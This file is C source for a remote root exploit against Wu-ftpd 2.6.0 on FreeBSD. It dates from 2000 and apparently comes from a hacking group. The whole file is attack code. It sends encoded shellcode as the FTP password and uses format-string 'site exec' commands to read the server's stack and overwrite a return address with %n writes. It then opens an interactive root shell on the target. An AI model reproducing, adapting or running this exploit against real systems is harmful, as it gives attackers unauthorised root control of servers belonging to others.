/*
 *  WU-hooooooooo ! ;) 
 *  remote root exploit for FreeBSD Wu-ftpd 2.6.0 !
 *  Written by glitch of AdG.
 *  Shellcode by Myt of AdG
 *  This is mega private !
 *  for Action Direct Group members only !
 *  Don't distribute !
 *
 *  Greetings to tf8, adm.
 *
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <errno.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
#include <signal.h>

/*
 * Warning ! You may increase DELAY value
 * for slow connections !
 *
 */

#define DELAY 5

char bsd_shellcode[] = 
   "\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF"
   "\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8"
   "\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14"
   "\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11"
   "\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F"
   "\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9"
   "\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11"
   "\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9"
   "\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86"
   "\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF";

struct sys_type
{
   char *sysname;
   int penum;
   int penum2;
   int penum3;
   int offset; /* Dword offset from scanned PTRkeeper to RetAddres keeper */
   char *shellcode;
};

struct sys_type target[] =
{
   {"FreeBSD 3.3-STABLE with Wu-ftpd 2.6.0(1) from PORTS",47,37,52,355,bsd_shellcode},
   {"FreeBSD 3.4-RELEASE/STABLE with Wu-ftpd 2.6.0(1) from PORTS",46,36,51,354,bsd_shellcode},
   {"FreeBSD 4.0-RELEASE with Wu-ftpd 2.6.0(1) from PORTS",32,48,44,355,bsd_shellcode},
   {NULL,0,0,0,0,NULL}
};

int sock;    /* Socket Descriptor */
int sysnumber = 0;
char tosend[1024]; /* send buffer */
char torecv[4096]; /* receive buffer */

int max(int,int);
char *scan_ptrretaddr(int,int);
char *scan_retaddr(int);
void receive(void);
void ftp_login(char *,char *);
void store_value(int,int,int);
void shell(void);
void site_exec(char *);
void usage(char *);

int main (argc,argv)
   int argc;
   char *argv[];
{
   int port = 21;
   int main_index = 0;

   char *ptrretaddr;
   char *retaddr;

   struct sockaddr_in sin;
   struct hostent *host;

   while(target[sysnumber].sysname != NULL)
      sysnumber++;

   if (argc < 3)
      usage(argv[0]);
   main_index = atoi(argv[2]);
   if (main_index < 0 || main_index > sysnumber-1)
   {
      printf("Wrong system identifier!\n");
      usage(argv[0]);
   }
   printf ("Exploiting: %s\n",target[main_index].sysname);
   if ((sock=socket(AF_INET,SOCK_STREAM,0)) < 0)
   {
      perror("Socket error");
      exit(-1);
   }

   if(argv[3])
      port=atoi(argv[3]);
 
   bzero((char*)&sin,sizeof(sin));
   sin.sin_family=AF_INET;
   sin.sin_port=htons(port);
   host=gethostbyname(argv[1]);

   if (host == 0)
   {
      printf("Cannot resolve %s\n",argv[1]);
      exit(-1);
   }
   memcpy(&sin.sin_addr,host->h_addr,host->h_length);
   if ((connect(sock, (struct sockaddr *)&sin, sizeof(sin))) < 0)
   {
      perror("Connect error");
      exit(-1);
   }
   printf("\nCONNECTED!\n\n");

   sleep(DELAY);
   receive();
   fputs(torecv,stdout);
   ftp_login("ftp",target[main_index].shellcode);
   ptrretaddr = scan_ptrretaddr(target[main_index].penum,target[main_index].offset);
   retaddr = scan_retaddr(target[main_index].penum2);
   store_value(target[main_index].penum,((int)ptrretaddr & 65535),1);
   sleep(DELAY);receive();
   store_value(target[main_index].penum3,(int)retaddr,2);
   printf("\033[32mAdG rox ! :)\033[37m\n");
   write(sock,"uname -a;id\n",strlen("uname -a;id\n"));
   signal(SIGINT,SIG_IGN);
   shell();
}

int max(int x,int y)
{
   if (x > y)
      return(x);
   return(y);
}
void receive(void)
{
   bzero(torecv,sizeof(torecv));
   if(read(sock,torecv,sizeof(torecv)) == 0)
   {
      printf("Connection closed by foreign host!\n");
      exit(-1);
   }
}
void shell(void)
{
   fd_set rset;
   int nfds,nread;
   bzero(torecv,sizeof(torecv));
   for (;;)
   {
      nfds=max(fileno(stdin),sock)+1;
      FD_ZERO(&rset);
      FD_SET(fileno(stdin),&rset);
      FD_SET(sock,&rset);
      select(nfds,&rset,NULL,NULL,NULL);
      if(FD_ISSET(fileno(stdin),&rset))
      {
         bzero(tosend,sizeof(tosend));
         fgets(tosend,sizeof(tosend)-2,stdin);
         write(sock,tosend,strlen(tosend));
      }
      if(FD_ISSET(sock,&rset))
      {
         bzero(torecv,sizeof(torecv));
         if((nread=read(sock,torecv,sizeof(torecv))) == 0)
         {
            printf("\nEOF\n");
            exit(0);
         }
         if (nread < 0)
         {
            perror("Read error");
            exit(-1);
         }
         fputs(torecv,stdout);
      }
   }
}
void ftp_login(char *username, char *password)
{
   sprintf(tosend,"USER %s\n",username);
   printf("\033[32m%s\033[37m",tosend);
   write(sock,tosend,strlen(tosend));
   sleep(DELAY);
   receive();
   fputs(torecv,stdout);
   sprintf(tosend,"PASS %s\n",password);
   printf("\033[32mPASS <shellcode>\033[37m\n");
   write(sock,tosend,strlen(tosend));
   sleep(DELAY);
   receive();
   fputs(torecv,stdout);
}
void site_exec(char *string)
{
   char buf[1034];
   bzero(buf,sizeof(buf));
   snprintf(buf,sizeof(buf),"site exec %s\n",string);
   write(sock,buf,strlen(buf));
}
char *scan_ptrretaddr(int penum,int offset)
{
   int a;
   char *buf;
   char *ptr, *retvalue;
   printf("Scanning remote server's stack:\n");
   bzero(tosend,sizeof(tosend));
   for (a = 0,buf = tosend; a < penum; a++,buf+= 2)
   {
            sprintf(buf,"%s","%p:%d");
   }
   site_exec(tosend);
   sleep(DELAY);
   receive();

   buf = strstr(torecv,":")+1;
   ptr =(char*)atoi(buf);
   printf("\033[32mScanned PTRPTRRETADDR is \033[31m0x%x\n\033[37m",ptr);
   retvalue = ptr - offset*4;
   printf("\033[32mCalculated PTRRETADDR is \033[31m0x%x\n\033[37m",retvalue);
   return retvalue;
}
char *scan_retaddr(int penum)
{
   int a;
   char *buf;
   char *ptr, *retvalue;
   printf("Detecting return address:\n");
   bzero(tosend,sizeof(tosend));
   for (a = 0,buf = tosend; a < penum; a++,buf+= 2)
   {
            sprintf(buf,"%s","%p:%d");
   }
   site_exec(tosend);sleep(DELAY);receive();
   buf = strstr(torecv,":")+1;
   ptr =(char*)atoi(buf);
   printf("\033[32mScanned TEMPADDR is \033[31m0x%x\n\033[37m",ptr);
   for (a = 0,buf = tosend; a < penum; a++,buf+= 2)
   {
            sprintf(buf,"%s","%p:%s");
   }
   site_exec(tosend);sleep(DELAY);receive();
   retvalue = ptr;
   buf = strstr(torecv,":")+1;
   ptr = strstr(torecv,"/")+1;   
   retvalue += ptr - buf;
   printf("\033[32mCalculated RETADDR is \033[31m0x%x\n\033[37m",retvalue);
   return retvalue;
}
void store_value(int penum,int value,int type)
{
   int a;
   int offset;
   char *buf;
   char *ptr1, *ptr2;
   printf("Storing value 0x%x\n",value);
   bzero(tosend,sizeof(tosend));
   buf = tosend;
   sprintf(buf,"%%.10d"); /* WARNING 10 is a MAGIC NUM! */
   for (a = 0,buf = tosend + strlen(tosend); a < penum - 1; a++,buf+= 2)
   {
            sprintf(buf,"%s","%p:");
   }
   site_exec(tosend);
   sleep(DELAY);
   receive();
   ptr1 = strstr(torecv,"-")+1;
   ptr2 = strstr(torecv,":");
   offset = ptr2 - ptr1;
   printf("offset is 0x%x\n",offset);
   bzero(tosend,sizeof(tosend));
   buf = tosend;
   sprintf(buf,"%%.%d\x64",value - offset + 10); /* WARNING 10 is a MAGIC NUM! */
   for (a = 0,buf = tosend + strlen(tosend); a < penum - 1; a++,buf+= 2)
   {
      if(type == 1) sprintf(buf,"%s","%p%hn");
      if(type == 2) sprintf(buf,"%s","%p%n");
   }
   site_exec(tosend);
}
void usage(char *arg)
{
   int i;
   printf("Usage: %s <hostname> <systype> [port]\n",arg);
   printf(" known systypes: \n");
   for(i=0;i < sysnumber;i++)
      printf("  %2d  - %s\n",i,target[i].sysname);
   exit(-1);
}
/*                    www.hack.co.za           [6 July 2000]*/